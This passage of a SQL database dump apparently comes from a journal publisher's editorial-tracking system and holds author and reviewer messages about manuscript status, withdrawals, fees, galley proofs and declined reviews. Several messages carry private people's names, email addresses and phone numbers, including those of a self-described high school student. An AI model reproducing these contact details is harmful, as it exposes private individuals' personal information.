Technology</em></p>\r\n<div><em>divsha23@bergen.org</em></div>\r\n<p><em>&nbsp;</em></p>',75,6436,1,'2020-08-19 00:21:33',1),(431,'Delay in response to submitted\nmanuscript - IPBMBJ-20-5114','<p>Sir,&nbsp;</p>\r\n<p>I submitted a manuscript&nbsp; numbered \"IPBMBJ-20-5114\" and&nbsp;titled \"Comparative studies on the kinetic properties of lipases purified from Aspergillus nidulans and Aspergillus niger LC\n269109\"&nbsp;to your journal for publication since&nbsp;8th July, 2020 til date and I have not received any response from you.&nbsp;</p>\r\n<p>I will be glad if the reviewer (F. E. I. Han) will be contacted to double up his speed so as to finish up the task soon. I need the article for special purposes at my place of work.</p>\r\n<p>Please, keep me informed incase it is not possible for you to publish it in time so I may withdraw my manuscript.</p>\r\n<p>Thanks!</p>',370,6290,1,'2020-08-19 02:10:19',1),(432,'Regarding current status of manuscript','<p>Dear Sir</p>\r\n<p>This is with regard to our submitted manuscript, titled\" A Novel Technique to seal leaking phacoemulsification wound\", submitted to your journal on june 25,2020 for consideration as an original\narticle.</p>\r\n<p>On 19th august 2020, current status of the manuscript is updated as withdrawn, though we have not requested withdrawn of manuscript from our side. Please clarify us on this.</p>\r\n<p>Thankyou for your time and consideration. We look forward to hear from you.</p>\r\n<p>Sincerely,</p>\r\n<p>Prof. Deen D. Verma</p>\r\n<p>Director @ D.D Eye Institute</p>\r\n<p>Visiting Asst. Prof. @ Buffalo University, Newyork (USA)</p>\r\n<p>Kota</p>',442,6057,1,'2020-08-19 16:58:43',1),(433,'Withdrawal of my manuscript','<p>Please sir,</p>\r\n<p>Withdrwa my manuscript.</p>',75,6934,1,'2020-08-19 17:25:51',1),(434,'Manuscript status','<p>Dear editor</p>\r\n<p>I am writing this regarding one of the articles which I am being invited to review entitled \"<strong>High Levels of the PSA (Prostate Specific Antigen) in Patients with Benign Prostatic Hyperplasia\nand Prostate Cancer\". </strong>However when i looked into the status it is showing as withdrawn. I will really appreciate if you could please confirm the status of the article in order to\nproceed.</p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Thank you</strong></p>\r\n<p><strong>Chandrayee Ghosh</strong></p>',0,10393,3,'2020-08-19 19:57:05',0),(435,'WITHDRAWAL OF ARTICLE-METABOLIC CHANGES\nIN COLORECTAL CARCINOMAS: PROSPECTS FOR\nEARLY DETECTION OF NEOPLASTIC CHANGES','<p>Sir,</p>\r\n<p>I hereby write to withdraw the article-METABOLIC CHANGES IN COLORECTAL CARCINOMAS:PROSPECTS FOR EARLY DETECTION OF NEOPLASTIC CHANGES.</p>\r\n<p>This withdrawal is to allow all the Authors agree to a journal for submission.</p>\r\n<p>I apologize for inconveniences cused by this action.</p>\r\n<p>Dr. ORUGBO VOKE PETER</p>\r\n<p>Corresponding Author, on behalf of all Authors</p>',85,6883,1,'2020-08-20 09:57:59',1),(436,'STATUS OF REVISION OF ARTICLE-Degree of\nCompletion of Laboratory Request Forms\nin a Tertiary Hospital in Nigeria.','<p>I hereby write to know the status of revision on the article-DEGREE OF COMPLETION OF LABORATORY REQUEST FORMS IN A TERTIARY HOSPITAL IN NIGERIA</p>\r\n<p>CORRESPONDING AUTHOR- DR ORUGBO VOKE PETER. <a href=\"mailto:EMAIL-drorugbopeter@gmail.com\">EMAIL-drorugbopeter@gmail.com</a>. phone +2348036899761</p>',85,6883,1,'2020-08-20 10:05:05',1),(439,'invitation to review.','<p>So sorry, &nbsp;am unable to accept at this time.</p>',0,7540,3,'2020-08-22 11:18:46',0),(440,'Invitation','<p>so sorry, I am not available this time.</p>',0,7540,3,'2020-08-22 11:19:59',0),(441,'Decline review invitation','<p>Dear Sir,</p><p>Thank you for the invitation.</p><p>unfortunately<strong><span> </span></strong>, I will not be able to review this article.</p><p>Regards,</p><p>Sahar Essa</p>',0,12782,3,'2020-08-23 07:05:23',0),(443,'WHEN WILL THE ARTICLE: Title: Degree of\nCompletion of Laboratory Request Forms\nin a Tertiary Hospital in Nigeria.','<p>WHEN WILL THE ARTICLE ABOVE BE PUBLISHED ?</p>',85,6883,1,'2020-08-24 10:42:58',1),(444,'WANTS TO PUBLICATION TIME','<p>GOOD AFTERNOON SIR</p>\r\n<p>THANKS FOR ACCEPTANCE OF OUR ARTICLE- DEGREE OF COMPLETION OF LABORATORY REQUEST FORMS IN A TERTIARY HOSPITAL IN NIGERIA.</p>\r\n<p>WHEN WILL THE ARTICLE BE PUBLISHED?</p>\r\n<p>DR .ORUGBO VP, CORRESPONDING AUTHOR, <a href=\"mailto:drorugbopeter@gmail.com\">drorugbopeter@gmail.com</a>. +2348036899761</p>',85,6883,1,'2020-08-24 11:41:58',1),(445,'Galley','<p>Dear Editor</p>\r\n<p>I received a mail that my article is considered for publication on the 14th of August, and that the galley should be ready in 48 -72 hours. however, I am yet to receive it.</p>\r\n<p>&nbsp;</p>',878,6972,1,'2020-08-24 12:23:16',1),(446,'withdrawal of my manuscript','<p>Please I want to withdraw my manuscript&nbsp;</p>',75,6934,1,'2020-08-26 06:47:57',1),(447,'Declination to review a manuscript','<p>I decline to review the manscript</p>\r\n<p>Rosaura Farr&eacute;</p>\r\n<p>&nbsp;</p>',0,14095,3,'2020-08-26 10:59:52',0),(449,'No. ipacm-20-4215 (Recurrent COVID-19\npneumonia in chronic lymphocytic\nleukemia patient)','<p>Dear Archives of Clinical Microbiology Team</p>\r\n<p>Really thanks for your corporation and help.</p>\r\n<p>Can you check our accepted case report paper (No.ipacm-20-4215) in your profile and when we will receive proof format?</p>\r\n<p>Best Regards</p>',248,5428,1,'2020-08-28 05:41:20',1),(450,'Regarding time frame for the\nacceptance/Rejection','<p>Respected sir,</p>\r\n<p>Here by i would like to know the usual time frame to know about the result of the review process of the article submitted</p>\r\n<p>Thanking you</p>',75,6430,1,'2020-08-29 04:59:56',1),(451,'YOUR CALL ','<p>I received a phone call on my manuscript IPJVMS-20-5435. I requested to send an E-mail message to my box, but I have not received it.</p>\r\n<p>Dr. Ndelekwute</p>',684,6629,1,'2020-08-29 07:13:40',1),(452,'Case report review status','<p>Good day dear Editor-in-Chief.</p>\r\n<p>Please I am yet to receive any update regarding the article titled \'Metoclopramide-induced acute dystonic reaction - a case report\' which I submitted for publication. I noted that an editor was\nassigned on July 23, 2020 but the article is still under review.</p>\r\n<p>Should I be worried, and is there a specific timeline to work with regarding the editorial process and publishing?</p>\r\n<p>I would appreciate your response.</p>\r\n<p>Warm regards,</p>\r\n<p>Ogboche Andrew Enegela</p>',267,6494,1,'2020-08-29 13:22:37',1),(453,'Regarding resubmission of manuscript','<p>We have already updated the existing manuscript file through our account.</p>\r\n<p>We look forward to hear from you and if we need to resend file on any other email id, please provide us the same</p>\r\n<p>Thankyou</p>',442,6057,1,'2020-08-31 14:29:57',1),(456,'ipacm-20-4215','<p><span>Dear Archives of clinical Microbiology&nbsp;Team,&nbsp;</span></p>\r\n<div>I hope you are well, staying safe and healthy.</div>\r\n<div>&nbsp;</div>\r\n<div>can you check our paper&nbsp;ipacm-20-4215 \"<span>Recurrent COVID-19 pneumonia in chronic lymphocytic leukemia patient\"&nbsp;</span><span>we did not receive any email from&nbsp;</span><span>Jul\n28, 2020.</span></div>\r\n<div><span>&nbsp;</span></div>\r\n<div><span>Kind regards&nbsp;</span></div>\r\n<div><span>&nbsp;</span></div>',248,5428,1,'2020-09-01 06:13:37',1),(457,'Acceptance of article','<p>Thank you very much for your message.</p>\r\n<p>I am very happy with the notification and look forward to further correspondence from your team.</p>\r\n<p>Warm regards,</p>\r\n<p>&nbsp;</p>\r\n<p>Ogboche Andrew Enegela</p>',267,6494,1,'2020-09-01 10:39:31',1),(461,'Decline for reviewing','<p>Dear Editor,<br></p><p>Thank you for invitation, but I am too busy to review the manuscript.</p>',0,14190,3,'2020-09-04 00:28:20',1),(462,'Query regarding ipacm-20-5174','<p>Dear Sir,</p>\r\n<p>It would be a great help for me if you kindly give me a decision regarding the above mentioned manuscript.&nbsp;</p>\r\n<p>Sincerely,</p>\r\n<p>Rashed Noor</p>',248,6359,1,'2020-09-04 09:08:01',1),(463,'Withdraw submission ','<p>Hello,</p>\r\n<p>I would like to withdraw the submission of the maniscrupit. Thank you&nbsp;</p>',75,5541,1,'2020-09-05 14:51:58',1),(465,'ipacm-20-4215','<p>Dear&nbsp;Archives of Clinical Microbiology Team,</p>\r\n<p>Due to manuscript number &ldquo;ipacm-20-4215&rdquo; entitled &ldquo;Recurrent COVID-19 pneumonia in chronic lymphocytic leukemia patient&rdquo; which was accepted in Archives of Clinical\nMicrobiology.&nbsp;</p>\r\n<p>After a long time now we will not receive any proof format.</p>\r\n<p>Can you check our accepted paper in your profile and when we will receive proof format?</p>\r\n<p>Best Regards</p>',248,5428,1,'2020-09-06 04:58:41',1),(466,'How long before I can hear from the\nreviewer','<p>Good morning,</p>\r\n<p>&nbsp;</p>\r\n<p>Could you&nbsp; please tellme when will i be able to get an answer on review from you on my manuscript?</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks appreciate all your help!</p>',400,5205,1,'2020-09-06 21:49:27',1),(467,'Delay in receipt of the galley proof for\nthe accepted manuscript - IPBMBJ-20-5114','<p>Sir,&nbsp;</p>\r\n<p>Thank you for reviewing and accepting my manuscript numbered&nbsp;<span>IPBMBJ-20-5114.</span></p>\r\n<p>Notwithstanding, the galley proof has not yet been sent to me since the paper was accepted on 20/08/2020.</p>\r\n<p>I will be glad if the galley proof were sent to me as soon as possible so I may effect the corrections, if there are any, and send it back for final publication.</p>\r\n<p>Thanks in anticipation of your kind and timely response!</p>',370,6290,1,'2020-09-07 00:25:29',1),(468,'unable to review','<p>Unable to review</p>',0,11947,3,'2020-09-07 04:29:35',0),(469,'How long before I can hear from the\nreviewer','<p>Good Morning!</p>\r\n<p>How long before I can hear from the you regarding my case report?</p>\r\n<p>thanks,</p>\r\n<p>Gayatri</p>',400,5205,1,'2020-09-07 06:59:16',1),(470,' ipacm-20-4215','<p><em>Dear Archives of clinical microbiology,</em></p>\r\n<p><em>I would like to withdraw our manuscript no. </em><strong>ipacm-20-4215&nbsp;</strong><em>titled &ldquo;<strong>Recurrent COVID-19 pneumonia in chronic lymphocytic leukemia patient&rdquo;\n</strong>from further consideration by your journal due to long time process and also we did not receive any email and response after 10 times from editorial team. The manuscript ID is\n</em><strong>ipacm-20-4215</strong><em> and the date of submission was <strong>May 26, 2020</strong>.&nbsp;</em></p>\r\n<p><em>Please confirm that the withdrawal process is complete. I apologize for any inconvenience caused.</em></p>\r\n<p><em>Sincerely,</em></p>\r\n<p><em>Hamed Fakhim </em></p>',248,5428,1,'2020-09-07 07:05:48',1),(471,'ipacm-20-4215','<p><em><span lang=\"EN\">Dear Archives of clinical microbiology,</span></em></p>\r\n<p><em><span lang=\"EN\">I would like to withdraw our manuscript no.&nbsp;</span></em><strong><span>ipacm-20-4215</span></strong><em><span>&nbsp;</span></em><em><span lang=\"EN\">titled\n&ldquo;<strong>Recurrent COVID-19 pneumonia in chronic lymphocytic leukemia patient&rdquo;&nbsp;</strong>from further consideration by your journal due to a long time process and also we did not\nreceive any email and response after 10 times from editorial office. The manuscript ID is&nbsp;</span></em><strong><span>ipacm-20-4215</span></strong><em><span lang=\"EN\">&nbsp;and the date of\nsubmission was&nbsp;<strong>May 26, 2020</strong>.&nbsp;</span></em></p>\r\n<p><em><span lang=\"EN\">Please confirm that the withdrawal process is complete. I apologize for any inconvenience caused.</span></em></p>\r\n<p><em><span lang=\"EN\">Sincerely,</span></em></p>\r\n<p><em><span lang=\"EN\">Hamed Fakhim</span></em></p>',248,5428,1,'2020-09-07 07:11:39',1),(472,'ipacm-20-4215','<p><em>Dear Archives of clinical microbiology,</em></p>\r\n<p><em>I would like to withdraw our manuscript no.&nbsp;</em><strong>ipacm-20-4215&nbsp;</strong><em>titled &ldquo;<strong>Recurrent COVID-19 pneumonia in chronic lymphocytic leukemia\npatient&rdquo;&nbsp;</strong>from further consideration by your journal due to long time process and also we did not receive any email and response after 10 times from editorial team. The manuscript\nID is&nbsp;</em><strong>ipacm-20-4215</strong><em>&nbsp;and the date of submission was&nbsp;<strong>May 26, 2020</strong>.&nbsp;</em></p>\r\n<p><em>Please confirm that the withdrawal process is complete. I apologize for any inconvenience caused.</em></p>\r\n<p><em>Sincerely,</em></p>\r\n<p><em>Hamed Fakhim</em></p>',248,5428,1,'2020-09-07 10:05:43',1),(473,'ipacm-20-4215','<p><em>Dear Archives of clinical microbiology,</em></p>\r\n<p><em>&nbsp;</em></p>\r\n<p><em>Manuscript no.&nbsp;</em><strong><em>ipacm-20-4215</em></strong></p>\r\n<p><strong><em>&nbsp;Recurrent COVID-19 pneumonia in chronic lymphocytic leukemia patient</em></strong></p>\r\n<p><em>&nbsp;</em></p>\r\n<p><em>We were not&nbsp;funded for this case report (</em><em><strong>ipacm-20-4215)</strong></em><em> from the School of Medicine, Isfahan University of Medical Sciences, Isfahan, Iran and at first\nwe did not know about publication fee according to instructions to the author. </em><em>Honestly due to limitations for covering publication fees and our country satiation (Sanction), if it is\npossible please</em><em>&nbsp;accept our paper for&nbsp;consideration&nbsp;without&nbsp;charge</em><em>, </em><em>instead our team will help you as a reviewer.</em></p>\r\n<p><em>&nbsp;Otherwise,&nbsp;please confirm that the withdrawal process is complete. I apologize for any inconvenience caused.</em></p>\r\n<p><em>Sincerely,</em></p>\r\n<p><em>Hamed Fakhim</em></p>',248,5428,1,'2020-09-07 10:40:22',1),(475,'Reason ...','<p>Dear Editor,</p>\r\n<p>I am not expert in this direction, please find proper one to review the paper.</p>\r\n<p>Regards,</p>\r\n<p>Jeffrey Zheng</p>',0,14379,3,'2020-09-08 07:36:52',1),(476,'Enquiry about Publication of Accepted\nArticle','<p>Good day Admin,</p>\r\n<p>Thanks for your effort in editing our article. when would our accepted article be published and what are the modalities?</p>\r\n<p>Thanks in anticipating of your response.</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards,</p>\r\n<p>Teibo John</p>',234,5972,1,'2020-09-08 23:24:30',1),(477,'Next steps towards publication','<p>Good day dear Editor,</p>\r\n<p>Please I am yet to reveive further details regarding the publication of the article accepted. I would appreciate guidance on the next steps to take toward oublication.</p>\r\n<p>Warm regards and thank you in anticipation of your response.</p>\r\n<p>Ogboche Andrew Enegela</p>',267,6494,1,'2020-09-09 07:43:19',1),(478,'IPACSIT-20-5785','<p>I will decline to have my journal publish in your journal thank you for your time and consideration.</p>',980,7003,1,'2020-09-09 14:48:43',1),(481,'Regarding manuscript publication process','<p>Good evening&nbsp;</p>\r\n<p>This is regarding our manuscript entitled as \" A Novel Technique to seal leaking phacoemulsification wound\" resubmitted in journal of eye and cataract surgery. After reassigning the editor we have\nreceived email from Marie Leonie ( germanyconfernece@gmail.com) on 12th september for publication processing fee of 900 dollars.</p>\r\n<p>But to our surprise the status has not been updated as accepted on our tracking account. Kindly confirm if this mail is from journal of eye and cataract surgery after editorial board decision. If\nso, kindly consider discount for publication as we are from low income country.</p>\r\n<p>We look forward to hear from you</p>\r\n<p>Thankyou</p>\r\n<p>&nbsp;</p>',442,6057,1,'2020-09-13 13:49:19',1),(484,'My accepted article ','<p>Dear sir or madam&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>As I see my artilcle has been accepted. What should I do afterward?</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks a lot</p>',85,6959,1,'2020-09-16 17:26:01',1),(485,'Ipars-20-5613','<p>I cannot open the full text (only abstract). Marek Dobke, MD</p>',0,11998,3,'2020-09-16 18:23:54',0),(486,'Manuscript edits before publication','<div>Dear Editor,</div>\r\n<div>&nbsp;</div>\r\n<div>Hello, my name is Mr. Divyash Shah and I am the corresponding author of the manuscript entitled&nbsp;<em>Consideration of the effects of COVID-19 on the mental health of students\n(</em>referenc<span>e</span><span>&nbsp;number:&nbsp;</span><span>ipjnn-20-5245). Thank you so much for accepting my manuscript to be published in your journal. I believe this journal is the right\nplace for my article.&nbsp;</span></div>\r\n<div><span>In my acceptance notification, it was mentioned that an invoice would be sent to me in the next couple of days. Currently, I am a high school student who worked on this research paper.\nThus, I do not have the ability to make a payment for the publication of my paper. I was not aware that there would be a charge associated with my paper. Please let me know if you could waive the\npayment or let me know what my options are.&nbsp;</span></div>\r\n<div><span>&nbsp;</span></div>\r\n<div><span>Also, I recieved a sample of what will be published in the journal and I have a couple edits</span></div>\r\n<div><span>1) My mentor name is Dr. Patricia Kenny</span></div>\r\n<div><span>2) I am not a Doctor</span></div>\r\n<div>3)My email is <a href=\"mailto:divsha23@bergen.org\">divsha23@bergen.org</a>&nbsp;</div>\r\n<div>4) Could you possibly remove my phone number from the manuscript.&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div><span>&nbsp;</span></div>\r\n<div><span>Thank you so much.</span></div>\r\n<div>&nbsp;</div>\r\n<div id=\"x_Signature\">\r\n<div>\r\n<div>Sincerely,</div>\r\n<div>Divyash Shah</div>\r\n<div><em>Bergen County Academies</em></div>\r\n<div>Academy for Medical Science and Technology.&nbsp;</div>\r\n<div>divsha23@bergen.org</div>\r\n</div>\r\n</div>',75,6436,1,'2020-09-17 14:43:41',1),(487,'Revised manuscript for AI & Robotics\n(AIR) Solution Validation Platform','<p>Revised manuscript being uploaded.</p>',980,6261,1,'2020-09-21 04:33:13',1),(488,'reviewer ','<p>Sorry,&nbsp;</p>\r\n<pre id=\"tw-target-text\" class=\"tw-data-text tw-text-large XcVN5d tw-ta\" dir=\"ltr\" data-placeholder=\"&Ccedil;eviri\"><span lang=\"en\">The study is outside my area of interest.</span></pre>',0,11859,3,'2020-09-21 09:01:41',0),(489,'Consideration for Case Report','<p>Good afternoon editors,</p>\r\n<p>I was just curious if there has been a decision or review regarding my case report submitted on 9/1/20. Thank you so much for your time and consideration.</p>\r\n<p>Sincerely,</p>\r\n<p>Devin Simon</p>',75,7218,1,'2020-09-22 17:40:09',1),(490,'article','<p>See my note that I could open only the Abstract. Could you re-invite me? Greetings - marek dobke</p>',0,11998,3,'2020-09-23 18:45:12',0),(491,'Decline di review ipjarn-20-6105','<p>Dear Editor,</p>\r\n<p>&nbsp;</p>\r\n<p>I am sorry to decline the review of this manuscript. Unfortunately I am complete out of the field and I cannot guarantee a high-quality contribution from my side;</p>\r\n<p>thanks for your understanding, </p>\r\n<p>&nbsp;</p>\r\n<p>Francesco</p>',0,12573,3,'2020-09-28 07:35:51',0),(492,'Galley Proof','<p>Dear Alex John,</p>\r\n<p>Thank you for your email.</p>\r\n<p>I am happy with the galley proof and have no addition or corrections to make. I will share the galley proof with my co-authors.</p>\r\n<p>Warm regards</p>\r\n<p>Ogboche Andrew Enegela</p>',267,6494,1,'2020-09-28 18:57:28',1),(494,'Solicitud de información','<p>Buenos d&iacute;as&nbsp;</p>\r\n<p>Cordial Saludo</p>\r\n<p>&nbsp;</p>\r\n<p>Estamos muy felices que nuestro manuscrito de \"Obesidad y COVID-19\" haya sido aceptado para publicaci&oacute;n en este prestigioso journal.&nbsp;</p>\r\n<p>A mi equipo y a mi nos gustaria saber cuando ser&aacute; publicado en la p&aacute;gina de la revista.</p>\r\n<p>Agradezco de antemano su atenci&oacute;n prestada y quedo atento a su pronta respuesta.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Atentamente</p>\r\n<p>Nehomar P&aacute;jaro Galvis</p>',274,6984,1,'2020-09-29 15:04:02',1),(495,'status of article : Prevalence and out\ncome of Tuberculosis Treatment in a\nprimary care center in Pakistan\" ','<p>ref: ipaom_20_4194</p>\r\n<p>Dear Editor,</p>\r\n<p>&nbsp;</p>\r\n<p>I would like to inquire about the status of my manuscrpt titled \" Prevalence and out come of Tuberculosis Treatment in a primary care center in Pakistan\" I have submitted the revised version on\nJuly 5th 2020 . I will be highly obliged if the paper gets publeshed soon.</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks &amp; Regards,</p>\r\n<p>Dr.Fatima Jehangir</p>\r\n<p>FCPS</p>\r\n<p>Consultant Family PHysician</p>\r\n<p>Ziauddin University Hospital</p>',85,5405,1,'2020-10-01 07:13:47',1),(496,'invitation to review','<p>unable to accept at this time.. thank you for this invitation.</p>',0,12705,3,'2020-10-01 10:51:25',0),(499,'Extension to submit a review','<p>Dear Editor,</p>\r\n<p>&nbsp;</p>\r\n<p>Is it possible to get an extension for article review, until 11 October 2020?</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks</p>',0,14503,3,'2020-10-03 20:12:01',0),(500,'Extension to submit a review','<p>Dear Editor,</p>\r\n<p>&nbsp;</p>\r\n<p>Is it possible to get an extension for article review, until 11 October 2020?</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks</p>',0,14503,3,'2020-10-03 20:12:22',0),(501,'Exact day of publishment','<p>Dear editor&nbsp;</p>\r\n<p>Whould you tell the exact date of publication&nbsp; of my article.</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks alot</p>',85,6959,1,'2020-10-04 02:09:48',1),(502,'Status of our manuscript ','<p>Dear si,&nbsp;</p>\r\n<p>We submitted our manuscript on 10 August and we did not get any feedback from your side.&nbsp;</p>',75,6934,1,'2020-10-05 12:42:04',1),(503,'Decline review','<p>Sorry, I have too many other deadlines at the moment.</p>\r\n<p>&nbsp;</p>\r\n<p>Iris Koch</p>',0,14776,3,'2020-10-05 13:30:48',0),(506,'Thank you again ','<div>Good day Jennifer&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>Thank you for reviewing the paper .</div>\r\n<div>I would like to address few points&nbsp;</div>\r\n<div>According to the WHO the numbers of COVID-19 is increasing and the records showes that failing to adhere to the international guidelines such as the CDC or the conflicting recommendations and\nguidelines is one of the major reasons that the pandemic is growing .</div>\r\n<div>And this &nbsp;Review paper is not addressing a specific nation or country .</div>\r\n<div>And regarding the comments on health care workers with positive COVID-19 ,according to the CDC guidelines &ldquo;<span>Any HCW who tests positive for COVID-19, either in the course of monitoring\nafter an exposure or otherwise, should be immediately restricted from work and public health notified for further case management&rdquo;</span></div>\r\n<div>&nbsp;</div>\r\n<div>Thank you</div>\r\n<div>Please keep me updated&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>Issa kawalit ,MD</div>',85,5004,1,'2020-10-07 20:06:48',1),(507,'Manuscript Publication of reference\nnumber: 2171-6625-11-336','<p>Dear Editor,</p>\r\n<p>My name is Mr. Divyash Shah and I am the corresponding author on the manuscript entitled \"Consideration of the effects of COVID-19 on the mental health of students.\" The reference neumber is\n<span>2171-6625-11-336.&nbsp;</span>I recieved confirmiation that my paper was accepted and I responded to the invoice with my situation. However, while my paper has been in your system for the last\nthree months, my paper still has not been published. I am wondering what the issue is and what I can do to get my paper published. I have already emailed informing you about changes that are needed to\nthe article before publication. If my paper is still being considered for publication, please let me know what I need to do to get it published. I hope to get this done in the next two weeks. If this\nis not possible, I may have to sumbit my paper somewhere else.</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you very much for your time and consideration.</p>\r\n<p>&nbsp;</p>\r\n<p>Sicerely,</p>\r\n<p>Divyash Shah</p>',75,6436,1,'2020-10-08 00:20:26',1),(508,'Submission withdrawal','<p>Dear Editor,</p>\r\n<p>Please, consider this message as a formal request to withdraw my paper from your submission system. I thought initially that IJDDR is indexed by SCOPUS, but noticed lately that it was discontinued\nabout 5 years ago. I apologize for any inconvenience this may cause...</p>\r\n<p>Regards,</p>\r\n<p>Omar Bataineh</p>',376,7474,1,'2020-10-08 16:00:18',1),(509,'The status of My manuscrept ','<p>Hi Dear, How are you? what is new about My manuscrept ??</p>',988,7407,1,'2020-10-12 15:09:32',1),(511,'Publication date (Manuscript Number\nipacm-20-6026)','<p>Dear Editor-in-Chief</p>\r\n<p>&nbsp;</p>\r\n<p>I would like to know the expected date for the publication of our newly accepted article (Manuscript Number ipacm-20-6026).</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards,</p>\r\n<p>&nbsp;</p>\r\n<p>Marcelo F. G. Boriollo</p>\r\n<p>Corresponding author</p>\r\n<p>marcelofgb@yahoo.com.br</p>',248,7257,1,'2020-10-14 14:50:05',1),(512,'Since submission of article on 24 th of\nAugust, no referees comments have been\nreceived so far, ','<p>Since submission of article on 24 th of August, no referees comments have been received so far, I request you to kindly speed up your revier work, I can not wait for more time</p>',384,7141,1,'2020-10-19 14:09:16',0),(513,'Wrong person?','<p>I do not work in Computer Science. I think you are looking for Arnab Bhattacharya at IIT Kanpur, not me!<br />Cheers,</p>\r\n<p>Arnab</p>',0,14988,3,'2020-10-20 09:09:59',0),(514,'about Article No. IPRDDT-20-3922','<p>This article is under revision, can we take a positive side\ndecision in this regards?</p>\r\n<p>4 reviewers are accepted and 2 are not. we may conclude somthing\nfrom their decisions.</p>',268,1281,2,'2020-10-21 09:32:12',1),(515,'Query about publication','<p>Dear sir could I know my publication. Thank you</p>',248,7487,1,'2020-10-21 18:17:24',1),(516,'The status of My manuscrept','<p>please inform me the status of My Manscrept? otherwise i may try best in other journal elsewhere!!!</p>',988,7407,1,'2020-10-24 08:32:52',1),(519,'urgent ','<p>please send to me the gallery proof, and inform me about the time of&nbsp; publishing .</p>',988,7459,1,'2020-10-27 04:57:18',1),(521,'Remind','<p>Dear Sir/Madam,</p>\r\n<p>&nbsp;</p>\r\n<p>I sent the paper and you assigned editor. But till no response. Please check it.</p>\r\n<p>With Kind Regards!</p>',980,7175,1,'2020-10-28 11:48:41',1),(524,'To withdraw my Manuscrept','<p>Dear Publisher, i regrate i want to withdraw my&nbsp;Manuscrept startig from today b/c of your delaynce. soory.</p>',988,7407,1,'2020-11-02 13:03:00',1),(525,'Regarding the publication of the article','<p>Dear Sir/Madam</p>\r\n<p>I am Mary Manisha Mannam writing this to find out when will my article be published.&nbsp;</p>\r\n<p>I have contacted several times since september but i havent received any response from your side.</p>\r\n<p>as i have accepted Ph.d offer in my hand i need this article to be published as soon as possible but it is not getting progressed.</p>\r\n<p>could you please let me know how long it might take to publish.</p>\r\n<p>hoping for a positive response.</p>\r\n<p>Many thanks</p>\r\n<p>Mary</p>',833,6452,1,'2020-11-03 13:26:55',1),(529,'delay in editorial process','<p><span>Nov. 7th 2020</span></p>\r\n<p>&nbsp;</p>\r\n<p><span>Dear Imedpub editorial group,</span></p>\r\n<p>&nbsp;Due to the fact that we uploaded our manuscript titled: \"Acute Pulmonary Embolism as an important differential diagnosis of COVID-19: a case report\" on Oct. 15th, after almost 3weeks we have\nnot recieved any response from your team. Could you please check the status of our manuscript and inform us?</p>\r\n<p>Sincerely yours,</p>\r\n<p>Shahrokh Sadeghi Boogar,</p>\r\n<p>Author</p>',267,7659,1,'2020-11-07 08:19:08',1),(530,'Ask for help','<p><audio class=\"audio-for-speech\" src=\"https://www.imedpub.com/editorial-tracking/\"></audio></p>\r\n<div class=\"translate-tooltip-mtz hidden\">\r\n<div class=\"header\">\r\n<div class=\"header-controls\">&nbsp;</div>\r\n<div class=\"translate-icons\"><img class=\"from\" src=\"https://www.imedpub.com/editorial-tracking/\" alt=\"\" /> <img class=\"arrow\"\nsrc=\"chrome-extension://hiidjliailpkjeigakikbfedlfijngih/images/right-arrow.png\" alt=\"\" /> <img class=\"to\" src=\"https://www.imedpub.com/editorial-tracking/\" alt=\"\" />What about my\nmanuscript&nbsp;<span>ipwhrm-20-5901, plase send me your decision</span></div>\r\n</div>\r\n<div class=\"translated-text\">&nbsp;</div>\r\n</div>\r\n<p>&nbsp;</p>',924,7087,1,'2020-11-09 10:48:24',1),(531,'we would like to withdraw our manuscript\nbecause of the serious mistakes. ','<p align=\"left\">Dear Dr. Petrosyan,</p>\r\n<p align=\"left\">&nbsp;</p>\r\n<p align=\"left\">We are very sorry that we found&nbsp; serious mistakes about the data in our manuscript (ID: IPBMBJ-20-6614) submitted to Biochemistry and Molecular Biology Journal on November\n9th.</p>\r\n<p align=\"left\">Therefore, ?e woukd like to withdraw our manuscript submitted today and cancel this submission.</p>\r\n<p align=\"left\">Please confirm that the withdrawal process is complete. I apologize for any inconvenience caused.</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely,</p>\r\n<p>&nbsp;</p>\r\n<p>Kosuke Sugiura&nbsp;</p>\r\n<p>Department of Nutritional Physiology,</p>\r\n<p>Institute of Medical Nutrition,</p>\r\n<p>Tokushima University Graduate School</p>\r\n<p>3-18-15 Kuramto-cho, Tokushima 770-8503, Japan</p>\r\n<p>Tel +81-88-633-9248,&nbsp; Fax +81-88-633-7086</p>',370,7871,1,'2020-11-09 14:20:06',1),(532,'Hi Editors','<p>Hi Editors,</p>\r\n<p><br />I would like to kindly withdrawal my submitted manuscript.&nbsp; My apologies - the one I sent is incomplete.&nbsp; Sorry!!</p>',168,7868,1,'2020-11-10 04:11:58',1),(533,'Review','<p>Good day,&nbsp;</p>\r\n<p>I found your email in my spam folder and was wondering whether you still need me to review the paper?</p>\r\n<p>Kindest regards</p>\r\n<p>Dr Chinwe</p>',0,11264,3,'2020-11-10 09:12:58',0),(535,'High Alert','<p>Please your action.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>I will be very interested to working with you. Hence I request your action to move the article to the next step. If it is very difficult for you to help us kindly reject bit so that we will try to\nsubmit it to others.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',48,5297,1,'2020-11-13 07:08:15',1),(536,'High Alert','<p>Please help us in publishing the article.</p>\r\n<p>&nbsp;</p>\r\n<p>if it is diffiuclt for you to help us kindly reject it so that we will try to submit it to others</p>',48,5297,1,'2020-11-13 07:09:37',1),(537,'Requesting the progress of the article\nsubmitted ','<p>Dear sir,</p>\r\n<p>I would like to know about the progress of my article that submitted on June 2020. I have an access to my article status using the ID &amp; password provided by IJDDR and its showing that the\neditor were approved my article on July.&nbsp;</p>\r\n<p>I would be greatful if you could provide the details</p>\r\n<p>Thank you</p>\r\n<p>Pradeepa 